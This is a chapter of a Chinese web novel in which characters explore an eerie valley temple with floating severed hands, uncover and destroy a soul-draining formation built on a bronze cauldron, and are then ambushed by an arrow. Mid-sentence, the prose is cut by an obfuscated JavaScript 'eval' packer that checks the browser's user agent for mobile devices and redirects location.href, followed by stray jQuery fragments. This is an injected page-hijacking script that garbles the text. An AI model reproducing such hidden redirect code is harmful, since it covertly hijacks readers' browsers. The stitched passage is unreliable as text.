91. 雨歇谷
作品:《穿书之我在狗血文里艰难求生》 大家闻言随着周夏莲指的方向看过去,结果就看见十分诡异的一幕——这房间看起来像是和尚或者是香客临时住的地方,里面家具一应俱全,而且都很干净,似乎一直有人住着,并且不间断的打扫房间。
但诡异的并不是这个房间为何如此整洁,而是房间里只有一双手在打扫卫生。
是的,只有一双手。这双手非常灵巧的正拿着扫把和簸箕打扫房间。
那两只手都已经腐烂了,有的地方露出森森白骨,有的地方皮肉翻飞,但依然十分灵活。通过这双手,周春和都能想象出这双手的主人此刻的动作。
但房间里没有其他人,只有这双被从手腕处整齐斩断的手浮在半空中,像是有了自己的意识一般在虚空之中来回移动。
一股毛骨悚然之感沿着尾椎一路向上攀援,周春和感觉自己的头皮都炸了起来,一时间有些分不清自己是不是还在做梦。
这个场景实在是有些怪诞,周夏莲忍不住叹了口气,继续说:“走吧,咱们再往前看看。”
她说着,又带着其他人去下一个房间。
这个房间里同样有一双手浮在半空中,不过这双手没有什么伤痕,但皮肤已经完全松弛了,上面还附着许多老人斑,看样子是属于耄耋之人的手。
房间里面摆着许多乐器,有七弦琴、长笛、柳琴和箜篌等等,不一而足。而这双手正在房间里慢悠悠的敲磐打钟,敲了一会儿之后,又拿出长笛,手指灵巧的控制笛子上面的孔洞。
因为没有人吹,所以笛子也没有办法发出声音,这一切的一切看起来像是一个滑稽表演一般。
等大家缓冲完之后,周夏莲才继续开了口:“第一次看见这副场景的时候,我也觉得十分不适。但后来我们试验过了,这些‘手’并不会主动伤人,而且它们似乎……似乎沿着一套被设计好了的模式一直再重复自己的动作,比方说你们刚刚看见这个手在敲编钟,然后又开始吹笛子,那么接下来——大约一盏茶工夫的时候,它会开始弹奏箜篌。”
果不其然,周夏莲话音刚落下没多久,那双手就放下了笛子,开始弹奏放在房间角落里的箜篌。
周夏莲继续道:“我们观察了很久,每双手都有自己的一套流程,而第一遍流程结束之后,便会循环往复,永不停歇。”
隔了好久,周春和才喃喃的说:“这也太……太瘆人了。”
简直比大白天撞见鬼还要吓人。
周夏莲摇了摇头:“是啊,确实吓人。而且这里没有妖气,也不知道这些手究竟是被谁操控,做一切又是为了什么。”
整个寺庙都非常的诡异,不管是这寺庙建造的地点还是出现的时间,甚至是寺庙里面的东西也很诡异,让人横生毛骨悚然的感觉。
大家一时找不清头绪,周夏莲和裴瑾便带大家在院子里转了转,想看看能不能发现一些他们两个刚刚没有发现的东西。
这院子看起来倒还算正常,只是墙壁上也都画满了刚刚他们在游廊上看见的那种符文和各种周春和看不懂的符号,不知道是用来干什么的。
大家分散开在院子里转了转,院子正中间种了一棵槐树,此时槐树枝繁叶茂,正是个乘凉的好去处。
周春和走了一会儿,走出一头的热汗。一转头就看见谢斯年站在大太阳底下,正眉头紧锁的对着墙壁上画的那些符文,不知道在想些什么。
周春和走过去,顺着谢斯年的视线一起看向墙壁上那些符咒,但一时半会儿根本看不出什么名堂来。她怕自己贸然出口又会打扰谢斯年,所以就一直憋着没说话,试图从墙上那些符咒与符咒之间找出蛛丝马迹。
就在周春和绞尽脑汁也没想出个所以然来,正觉得无聊的时候,就见谢斯年不知何时注意到了她,在一边短促的笑了一声:“行了,你就是盯着这墙看出个洞也看不出什么来,还是别白费力气了。”
“嗯?谢斯年,你看完了?那你刚刚看出什么来了吗?”
提到这个,谢斯年的表情顿时有些变幻莫测,不过他没多说什么,只是说:“一会儿再找找有没有其他线索吧。”
周春和点了点头,见谢斯年脸色依然有些苍白,便忍不住说:“你身上……还没好全,要不先去屋檐底下休息一下吧,别老是在太阳底下晒着了。”
似乎没想到周春和会忽然关心他,谢斯年一时间愣了愣,才要说话,槐树底下的傅怀玉忽然招呼他们道:“这树下埋着东西,大家过来看看。”
周春和一听,果然就被转移了注意力。她回过头一看,周夏莲他们已经过去了,便也忙回头叫谢斯年一起过去,自然将刚刚的聊天抛诸脑后了。
谢斯年看着周春和那好奇的模样,刚刚想说的话也就咽进了肚子里。他垂下眼皮,语气有些寂寥:“嗯。”
谢斯年被周春和拽着走了过去,就看见傅怀玉所指的地方露出了一角类似青铜的东西。
不知为何,谢斯年的视线在触及到那青铜时,表情似乎变了变。
他的眸光有些晦暗不明,似乎有什么答案呼之欲出。
裴瑾和傅怀玉已经协力将那东西从地底挖了出来,这倒没费多少力气,因为上面那层土只是用来做障眼法的,轻轻一碰就塌陷进去了。
等把那东西完整的从地里抬出来,众人才看清原来这是一口长约三尺宽约两尺的青铜鼎。
青铜鼎没有任何锈蚀的痕迹,依然保存完好,上面的纹路清晰可见,周春和凑近看了看,是和游廊、墙上一样的纹路。
裴瑾看仔细观察了一下那青铜鼎,表情也有了些细微变化:“这不是婆娑鼎么?婆娑鼎是用来压制极其凶神恶煞的妖怪的,怎么回在这里出现?……只是这鼎上的花纹倒是没见过,应该是后来又加上去的。”
“这是汨罗文——汨罗文和婆娑鼎……不好!这座寺庙是个阵,我们被困在阵中了!”
谢斯年说着脸色不禁剧变,但他很快又冷静下来,开始镇定的观察周围的那些符文。
同行之人大都听说过汨罗文,但陆书雪对此却是一无所知。
在裴瑾一脸凝重的和她解释过之后,陆书雪的脸色也跟着变了:“……你的意思是,这个寺庙以汨罗文和这个鼎为基础做出了这个阵来吸食踏入阵中生灵的力量和灵魂?可……可要是这么说,咱们现在不应该已经、已经死了吗?可我们似乎没事啊?”
裴瑾似乎也有些犹豫,但谢斯年已经面色阴沉的开了口:“那是因为这不是真正的汨罗文。”
陆书雪茫然的问:“……这是什么意思?”
傅怀玉表情依然温和,但口吻却严肃起来,认真的解释道:“……意思就是,真正的汨罗文失传已久,如今大概已经没有人知道真正的汨罗文是什么样的了。但是有人想要通过实验复刻出汨罗文,而且看现在的情况,他应该已经成功了一半。咱们之所以还好端端的站在这里,大概也是因为他只成功了一半。现在这个阵是仿制品,所以功效也与真正以汨罗文做出来的阵不同,这也许就是为什么我们没有死在这里的原因。”
听了傅怀玉这番话,周春和一下子恍然大悟。怪不得他们路上曾碰见了残缺不堪的鼎和“缺斤少两”的汨罗文,估计那些东西是实验的失败品,所以被人随意丢弃在了半路。
谢斯年道:“不知道大家都没有听说过另一种阵法,也是需要汨罗文,但这个阵法相当于原阵的加强版,以汨罗文再配合婆娑鼎,然后加上一件神物,便可以将阵法激
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763416|187135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发到最强水平。这就是大名鼎鼎的金樽阵……刚刚我观察过墙上的符咒,虽然不是汨罗文,但却与汨罗文很像,直到看到这个鼎,我才能确定墙上这些符文就是在模仿汨罗文,想借此复刻出汨罗文。但后面填补的到底是不如之前的强大,所以这阵的效用肯定也随之改变了,它应该不会夺去活人的灵魂和力量,那就……”
周春和喃喃的接口:“……那就只能夺取死人的灵魂和力量了。”
傅怀玉想到了什么,皱了皱眉,开了口:“下来之前,那两个小沙弥曾提到过他们会把尸体扔到谷下,还说这个是他们首领的命令。也就是说,咱们看到的那些手是……妖族的手,这阵从妖族的尸体上汲取力量和灵魂,那些手和时不时传来的震动,大概是就是模仿汨罗文带来的副作用。”
周夏莲喃喃的说:“怪不得我们进去这么多次都平安无事,怪不得这个寺庙不论是建造的地点还是构造都如此奇怪,原来是为了保护这个金樽阵顺利运行。不过显然这背后主使觉得自己的设计万无一失——如果不是亲自下来,不会有人能想到他们竟然会从尸体上做文章,而那些妖族永远也不会想到来一个地势复杂、妖族还会迷失方向的谷底来踏青。如果不是后来不知为何出现的异动,怕是到现在为止都还不会有人发现异常。如今我们虽然发现了这金樽阵,但却无法想象这阵已经存在了多少年,掠夺了多少灵魂和力量……只是不知道究竟是谁设下的这个阵,又为什么要吸取妖族尸体的力量?”
裴瑾摇了摇头:“这件事显然是蓄谋已久,绝不是仅凭一个人的力量可以完成的。方才斯年说还需一样神物的配合,只是不知道是什么神物才会有如此大的力量,竟然能驱动残破不全的汨罗文,让这个阵运行起来。”
各个问题纷至沓来,上个还没解决,下个就又冒了出来。大家一时间没有什么头绪,都沉默下来。
又隔了一会儿,傅怀玉道:“不管出于什么目的,绝对不会是正义的。咱们现在要做的,就是要先摧毁这个阵,否则还会有源源不断的力量被吸收。”
“没错,这个阵虽然发挥的作用强大,但是阵本身无比脆弱,只要咱们破坏掉阵里面的任意一样东西——婆娑鼎,神物,或者是画好的汨罗文,便可以将阵破坏掉。好在幕后主使对自己过分自信,觉得不会有人到谷底来,所以并没有设下什么机关。否则他既然有能力建造这么大一座寺庙试图去还原汨罗文,想必能力高强,若真有什么戒心,咱们不会如此轻易接触到这些东西。”
大家不约而同的将视线看向那个婆娑鼎。周春和几乎是不假思索的说:“这里最容易破坏的就是这个鼎了,那就它吧。”
“好,我来吧。大家稍稍退后一些。”
周夏莲说着,提起长剑走到了最前面。
她抬起长剑往下一砍,长剑狠狠一颤,正正好好砍向婆娑鼎的最中间,剑锋擦着青铜,划出一阵火花。不过第一下只砍出一道细微的细缝,周夏莲解连又砍了许多下,终于将这婆娑鼎破坏掉了。
随着婆娑鼎四分五裂,整个寺庙忽然开始颤动起来,随后整个谷底都开始摇晃。大家很快戒备起来,提防哪里发生异变,好在震动很快停止了,除了寺庙中刻着符文的墙壁、游廊壁出现了许多条细微的裂痕之外,其他没有任何变化。
看样子金樽阵已经被彻底破坏掉了。
大家静静等了片刻,没再发生什么,显然是不会有什么危险了。
大家不约而同松了口气,脸上也露出一点久违的笑容来。就在所有人都放松警惕之时,没想到异变陡生,一根不知道从何处飞来的箭矢朝他们直直的射了过来。
陆书雪躲闪不及,只看见一段黑影,紧接着就被一箭射穿了咽喉。

